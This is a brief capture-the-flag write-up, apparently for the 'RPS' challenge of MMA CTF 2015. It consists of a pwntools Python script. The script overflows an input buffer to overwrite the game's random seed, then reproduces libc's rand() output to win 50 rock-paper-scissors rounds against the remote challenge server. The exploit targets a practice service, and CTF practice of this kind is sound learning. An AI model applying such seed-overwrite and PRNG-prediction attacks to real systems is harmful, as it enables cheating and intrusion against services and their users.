mma CTF 1st 2015 RPS write up

gistfile1.py

from pwn import *
import ctypes
import time

#conn = process('./rps')
conn = remote('milkyway.chal.mmactf.link', 1641)

seed = 'a' * 4
LIBC = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
LIBC.srand(u32(seed))

conn.recvuntil(': ')
conn.sendline('a' * 48 + seed)
for i in xrange(0, 50):
	conn.recvuntil('[RPS]')
	janken = LIBC.rand() % 3 
	if janken == 0:
		conn.sendline('P')
	elif janken == 1:
		conn.sendline('S')
	else:
		conn.sendline('R')
conn.interactive()